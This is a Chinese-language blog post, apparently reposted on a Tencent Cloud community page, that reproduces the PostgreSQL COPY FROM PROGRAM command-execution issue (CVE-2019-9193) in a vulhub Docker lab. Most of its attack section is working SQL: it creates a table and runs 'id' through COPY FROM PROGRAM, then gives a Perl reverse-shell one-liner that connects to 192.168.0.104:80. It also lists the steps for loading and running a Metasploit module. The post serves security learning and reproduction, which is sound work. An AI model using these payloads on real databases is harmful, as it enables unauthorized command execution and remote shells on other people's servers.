专栏首页网络攻防实战知识交流PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)复现

PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)复现

漏洞介绍

无意中看到这个漏洞 也看到这个漏洞的分析文章 看不懂原理 跟着复现

PostgreSQL,俗称Postgres,是世界上最受欢迎的数据库系统之一。它是Mac OSX系统的主力数据库,同时也有Linux和Windows版本。

CVE-2019-9193),它能使某些数据库用户利用Postgres实现任意代码执行。这个漏洞几乎影响了PostgreSQL的所有版本(从9.3到最新的11.2),同时也影响了所有的操作系统:Windows,Linux和Mac。

漏洞原理

从9.3版本开始,Postgres新增了一个COPY TO/FROM PROGRAM功能,允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令

攻击步骤

  • [可选]删除你想使用但已存在的表
  DROP TABLE IF EXISTS cmd_exec;
  • 创建保存系统命令输出的表
CREATE TABLE cmd_exec(cmd_output text);
  • 通过COPY FROM PROGRAM功能运行系统命令
COPY cmd_exec FROM PROGRAM 'id';
  • [可选]查看结果
  SELECT * FROM cmd_exec;

需要注意的是原本命令中的任何单引号都必须转换为双引号才能正常生效 ## 漏洞复现

  1. 环境搭建 p牛的漏洞库可以用更新了 可以直接从页面中
https://github.com/vulhub/vulhub/tree/master/postgres/CVE-2019-9193

然后

docker-compose up -d
  1. 尝试攻击
     DROP TABLE IF EXISTS cmd_exec;
     CREATE TABLE cmd_exec(cmd_output text);
     COPY cmd_exec FROM PROGRAM 'id';
     SELECT * FROM cmd_exec;
     COPY files FROM PROGRAM 'perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;"';

进阶利用

可以直接使用msf的模块进行攻击

地址如下:

  https://github.com/Greenwolf/postgres_cmd_execution_nine_three

不过这里得说明一下,使用这个模块是需要会一点基础的ruby知识,代码里面是有彩蛋的,我也踩了点坑。我想,应该是代码作者有意而为之,不能让别有用心的人直接拿过来用吧。具体是什么的就不说了,自行测试,哈哈。

利用步骤:

  1. 打开kali下载postgres_cmd_execution_nine_three.rb 修改完毕之后,将文件拷贝到/usr/share/metasploit-framework/modules/exploits/multi/postgres/postgres_cmd_execution_nine_three.rb路径中去 然后在msfconsole中
reload_all
  1. 加载模块,设置参数
use exploits/multi/postgres/postgres_cmd_execution_nine_three
  1. 开始攻击
exploit

## 参考文章

https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5

本文分享自微信公众号 - 无级安全(wujisec),作者:fz只不过是从头再来

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-03-22

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Awesome-CVE-2020-0601

    最近Window系统爆一个严重的安全漏洞,该漏洞使CryptoAPI无法正确验证椭圆曲线(ECC)密码证书,攻击者可以用该漏洞欺骗证书信任链。微软已经在昨天发布...

    用户5878089
  • 从Vulbhub-djinn靶机学习命令注入和Python input() 漏洞

    靶机描述:Level: Beginner-Intermediate flags: user.txt and root.txt Description: The ...

    用户5878089
  • 国外某CMS注入漏洞简单分析附payload

    最近在某个平台上把17年所有的CVE详细信息都爬下来了,一个文档34M多,放星球上了。也想借此机会做一个漏洞库,长期做下去,欢迎有志同道合,有分享精神的的伙伴一...

    用户5878089
  • 基于Windows环境下cmd/编译器无法输入中文,显示中文乱码解决方案

    基于Windows环境下cmd/编译器无法输入中文,显示中文乱码解决方案           两个月前做C++课设的时候,电脑编译器编译结果出现了中文乱码,寻求...

    Angel_Kitty
  • 普通用户竟这样执行xp_cmdshell存储过程!

    作者 | 邹建,资深数据库专家,精通各项 SQL Server 技术,具有丰富的管理、维护、优化能力以及业务应用经验。他一直热心于技术知识的分享、传播,持续活跃...

    数据和云
  • 【干货】24页PPT帮你搞定工作中简单的数据分析

    有人问我该如何做数据分析。其实数据分析的过程是相对固定的,分析结论的差异性主要是分析者的视点。虽然比较固定,我还是结合了自己写文章的心得,整理出这份ppt。希望...

    小莹莹
  • Java--StringBuilder,StringBuffer,StringJoiner

    开始自己的一个半年计划,也就是java相关常用类的源码阅读,通过阅读查漏补缺,加深基础知识的运用与理解.

    屈定
  • 实际工作中,如何做简单的数据分析?

    有人问我该如何做数据分析。其实数据分析的过程是相对固定的,分析结论的差异性主要是分析者的视点。虽然比较固定,我还是结合了自己写文章的心得,整理出这份ppt。希...

    灯塔大数据
  • swift 写 iOS 空心字描边动画

    http://oleb.net/blog/2010/12/animating-drawing-of-cgpath-with-cashapelayer/ http...

    Alan Zhang
  • 基于SQL Server 2008 Service Broker构建企业级消息系统

    注:这篇文章是为InfoQ 中文站而写 1、引言 Microsoft 在SQL Server 2005引入了服务代理 (Service Broker 简称SSB...

    张善友

扫码关注云+社区

领取腾讯云代金券